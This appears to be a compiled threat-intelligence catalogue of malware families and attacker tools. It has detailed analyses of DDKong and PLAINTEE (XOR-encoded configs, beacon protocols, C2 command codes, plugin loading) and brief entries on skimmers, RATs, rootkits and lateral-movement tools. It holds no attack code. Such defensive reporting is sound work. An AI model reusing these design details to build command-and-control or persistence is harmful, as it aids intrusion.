The malware in question is configured with the following three exported functions: ServiceMain,Rundll32Call, DllEntryPoint. The ServiceMain exported function indicates that this DLL is expected to be loaded as a service. If this function is successfully loaded, it will ultimately spawn a new instance of itself with the Rundll32Call export via a call to rundll32.exe. The Rundll32Call exported function begins by creating a named event named ‘RunOnce’. This event ensures that only a single instance of DDKong is executed at a given time. If this is the only instance of DDKong running at the time, the malware continues. If it’s not, it dies. This ensures that only a single instance of DDKong is executed at a given time. DDKong attempts to decode an embedded configuration using a single byte XOR key of 0xC3. After this configuration is decoded and parsed, DDKONG proceeds to send a beacon to the configured remote server via a raw TCP connection. The packet has a header of length 32 and an optional payload. In the beacon, no payload is provided, and as such, the length of this packet is set to zero. After it sends the beacon, the malware expects a response command of either 0x4 or 0x6. Both responses instruct the malware to download and load a remote plugin. In the event 0x4 is specified, the malware is instructed to load the exported ‘InitAction’ function. If 0x6 is specified, the malware is instructed to load the exported ‘KernelDllCmdAction’ function. Prior to downloading the plugin, the malware downloads a buffer that is concatenated with the embedded configuration and ultimately provided to the plugin at runtime. As we can see in the above text, two full file paths are included in this buffer, providing us with insight into the original malware family’s name, as well as the author. After this buffer is collected, the malware downloads the plugin and loads the appropriate function. This plugin provides the attacker with the ability to both list files and download/upload files on the victim machine.
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PLAINTEE
This sample is configured with three exported functions: Add, Sub, DllEntryPoint. The DLL expects the export named ‘Add’ to be used when initially loaded. When this function is executed PLAINTEE executes a command in a new process to add persistence. Next, the malware calls the ‘Sub’ function which begins by spawning a mutex named ‘microsoftfuckedupb’ to ensure only a single instance is running at a given time. In addition, PLAINTEE will create a unique GUID via a call to CoCreateGuid() to be used as an identifier for the victim. The malware then proceeds to collect general system enumeration data about the infected machine and enters a loop where it will decode an embedded config blob and send an initial beacon to the C2 server. The configuration blob is encoded using a simple single-byte XOR scheme. The first byte of the string is used as the XOR key to in turn decode the remainder of the data. The malware then proceeds to beacon to the configured port via a custom UDP protocol. The network traffic is encoded in a similar fashion, with a random byte being selected as the first byte, which is then used to decode the remainder of the packet via XOR. This beacon is continuously sent out until a valid response is obtained from the C2 server (there is no sleep timer set). After the initial beacon, there is a two second delay in between all other requests made. This response is expected to have a return command of 0x66660002 and to contain the same GUID that was sent to the C2 server. Once this response is received, the malware spawns several new threads, with different Command parameters, with the overall objective of loading and executing a new plugin that is to be received from the C2 server. During a file analysis of PLAINTEE in WildFire, we observed the attackers download and execute a plugin during the runtime for that sample. PLAINTEE expects the downloaded plugin to be a DLL with an export function of either ‘shell’ or ‘file’. The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent. The following commands were observed: tasklist, ipconfig /all. The attacker performed these two commands 33 seconds apart. As automated commands are typically performed more quickly this indicates that they may have been sent manually by the attacker.
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Koadic
Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host
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https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ |
Bisonal
In early May, Unit 42 discovered an attack campaign against at least one defense company in Russia and one unidentified organization in South Korea delivering a variant of Bisonal malware. While not previously publicly documented, the variant has been in the wild since at least 2014. There are three primary differences between it and older Bisonal malware including a different cipher and encryption for C2 communication, and a large rewrite of the code for both network communication and maintaining persistence. To date, we have only collected 14 samples of this variant, indicating it may be sparingly used. The adversary behind these attacks lured the targets into launching the Microsoft Windows executable malware by masquerading it as a PDF file (using a fake PDF icon) and reusing publicly available data for the decoy PDF file’s contents. Attacks using Bisonal have been blogged about in the past. In 2013, both COSEINC and FireEye revealed attacks using Bisonal against Japanese organizations . In October 2017, AhnLab published a report called “Operation Bitter Biscuit,” an attack campaign against South Korea, Japan, India and Russia using Bisonal and its successors, Bioazih and Dexbia.
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Sekur
Sekur has been CARBON SPIDER’s primary tool for several years, although usage over the last year appears to have declined. It contains all the functionality you would expect from a RAT, allowing the adversary to execute commands, manage the file system, manage processes, and collect data. In addition, it can record videos of victim sessions, log keystrokes, enable remote desktop, or install Ammyy Admin or VNC modules. From July 2014 on, samples were compiled with the capability to target Epicor POS systems and to collect credit card data.
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https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/ |
Agent ORM
Agent ORM began circulating alongside Skeur in campaigns throughout the second half of 2015. The malware collects basic system information and is able to take screenshots of victim systems. It is used to download next-stage payloads when systems of interest are identified. It is strongly suspected that Agent ORM has been deprecated in favor of script-based first-stage implants (VB Flash, JS Flash, and Bateleur).
Agent ORM is also known as:
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Tosliph
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DRIFTPIN
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https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/ |
VB Flash
VB Flash was first observed being deployed alongside Agent ORM in September 2015. It is likely that this was developed as a replacement to Agent ORM and contained similar capabilities. The first observed instance of VB Flash included comments and was easy to analyze—later versions soon began to integrate multiple layers of obfuscation. Several versions of VB Flash were developed including ones that utilized Google Forms, Google Macros, and Google Spreadsheets together to make a command-and-control (C2) channel. This variant would POST victim data to a specified Google form, then make a request to a Google macro script, receiving an address for a Google Spreadsheet from which to request commands.
VB Flash is also known as:
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HALFBAKED
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https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/ |
JS Flash
JS Flash capabilities closely resemble those of VB Flash and leverage interesting techniques in deployment via batch scripts embedded as OLE objects in malicious documents. Many iterations of JS Flash were observed being tested before deployment, containing minor changes to obfuscation and more complex additions, such as the ability to download TinyMet (a cutdown of the Metasploit Meterpreter payload). PowerShell was also used heavily for the execution of commands and arbitrary script execution. No JS Flash samples were observed being deployed after November 2017.
JS Flash is also known as:
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JavaScript variant of HALFBAKED
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https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/ |
Bateleur
Bateleur deployments began not long after JS Flash and were also written in JavaScript. Deployments were more infrequent and testing was not observed. It is likely that Bateleur was run in parallel as an alternative tool and eventually replaced JS Flash as CARBON SPIDER’s first stage tool of choice. Although much simpler in design than JS Flash, all executing out of a single script with more basic obfuscation, Bateleur has a wealth of capabilities—including the ability to download arbitrary scripts and executables, deploy TinyMet, execute commands via PowerShell, deploy a credential stealer, and collect victim system information such as screenshots.
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https://www.crowdstrike.com/blog/arrests-put-new-focus-on-carbon-spider-adversary-group/ |
JexBoss
A tool for testing and exploiting vulnerabilities in JBoss Application Servers.
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reGeorg
“Provides TCP tunneling over HTTP and bolts a SOCKS4/5 proxy on top of it, so, reGeorg is a fully-functional SOCKS proxy and gives ability to analyze target internal network.”
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Hyena
An Active Directory and Windows system management software, which can be used for remote administration of servers and workstations.
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csvde.exe
Imports and exports data from Active Directory Lightweight Directory Services (AD LDS) using files that store data in the comma-separated value (CSV) format.
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NLBrute
A tool to brute-force Remote Desktop Protocol (RDP) passwords.
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xDedic SysScan
Used to profile servers for potential sale on the dark net
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Wmiexec
A PsExec-like tool, which executes commands through Windows Management Instrumentation (WMI).
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RDPWrap
Allows a user to be logged in both locally and remotely at the same time.
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PsExec
A light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. When a command is executed on a remote computer using PsExec, then the service PSEXESVC will be installed on that system, which means that an executable called psexesvc.exe will execute the commands.
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PAExec
A PsExec-like tool, which lets you launch Windows programs on remote Windows computers without needing to install software on the remote computer first. When the PAExec service is running on the remote computer, the name of the source system is added to service’s name, e.g., paexec-<id>-<source computer name>.exe, which can help to identify the entry point of the attack.
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KEYMARBLE
This Malware Analysis Report (MAR) is the result of analytic efforts between Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Trojan malware variants used by the North Korean government. This malware variant has been identified as KEYMARBLE. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity.
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BISKVIT
The BISKVIT Trojan is a multi-component malware written in C#. We dubbed this malware BISKVIT based on the namespaces used in the code, which contain the word “biscuit”. Unfortunately, there is already an existing unrelated malware called BISCUIT, so BISKVIT is used instead, which is the Russian translation of biscuit.
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Sirefef
This family of malware uses stealth to hide its presence on your PC. Trojans in this family can do different things, including: -Downloading and running other files -Contacting remote hosts -Disabling security features Members of the family can also change search results, which can generate money for the hackers who use Sirefef.
Sirefef is also known as:
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Win32/Sirefef
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https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Win32%2Fsirefef |
MagentoCore Malware
A Dutch security researcher has lifted the veil on a massive website hacking campaign that has infected 7,339 Magento stores with a script that collects payment card data from people shopping on the sites. The script is what industry experts call a "payment card scraper" or "skimmer." Hackers breach sites and modify their source code to load the script along with its legitimate files. The script usually loads on store checkout pages and secretly records payment card details entered in payment forms, data that it later sends to a server under the hacker’s control.
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https://www.bleepingcomputer.com/news/security/magentocore-malware-found-on-7-339-magento-stores/ |
NotPetya
Threat actors deploy a tool, called NotPetya, with the purpose of encrypting data on victims' machines and rendering it unusable. The malware was spread through tax software that companies and individuals require for filing taxes in Ukraine. Australia, Estonia, Denmark, Lithuania, Ukraine, the United Kingdom, and the United States issued statements attributing NotPetya to Russian state-sponsored actors. In June 2018, the United States sanctioned Russian organizations believed to have assisted the Russian state-sponsored actors with the operation.
NotPetya is also known as:
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Not Petya
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Xbash
Xbash is a malware family that is targeting Linux and Microsoft Windows servers. We can tie this malware, which we have named Xbash, to the Iron Group, a threat actor group known for previous ransomware attacks.
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LoJax
rootkit for the Unified Extensible Firmware Interface (UEFI). Used by APT28. The researchers named the rootkit LoJax, after the malicious samples of the LoJack anti-theft software that were discovered earlier this year.
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https://www.bleepingcomputer.com/news/security/apt28-uses-lojax-first-uefi-rootkit-seen-in-the-wild/ |
Chainshot
The new piece of malware, which received the name Chainshot, is used in the early stages of an attack to activate a downloader for the final payload in a malicious chain reaction.
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CroniX
The researchers named this campaign CroniX, a moniker that derives from the malware’s use of Cron to achieve persistence and Xhide to launch executables with fake process names. The cryptocurrency minted on victim’s computers is Monero (XMR), the coin of choice in cryptojacking activities. To make sure that rival activity does not revive, CroniX deletes the binaries of other cryptominers present on the system. Another action CroniX takes to establish supremacy on the machine is to check the names of the processes and kill those that swallow 60% of the CPU or more.
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https://www.bleepingcomputer.com/news/security/cronix-cryptominer-kills-rivals-to-reign-supreme/ |
FASTCash
Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.
ZEBROCY
ZEBROCY is a tool used by APT28, which has been observed since late 2015. The communications module used by ZEBROCY transmits using HTTP. The implant has key logging and file exfiltration functionality and utilises a file collection capability that identifies files with particular extensions.
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https://www.ncsc.gov.uk/alerts/indicators-compromise-malware-used-apt28 |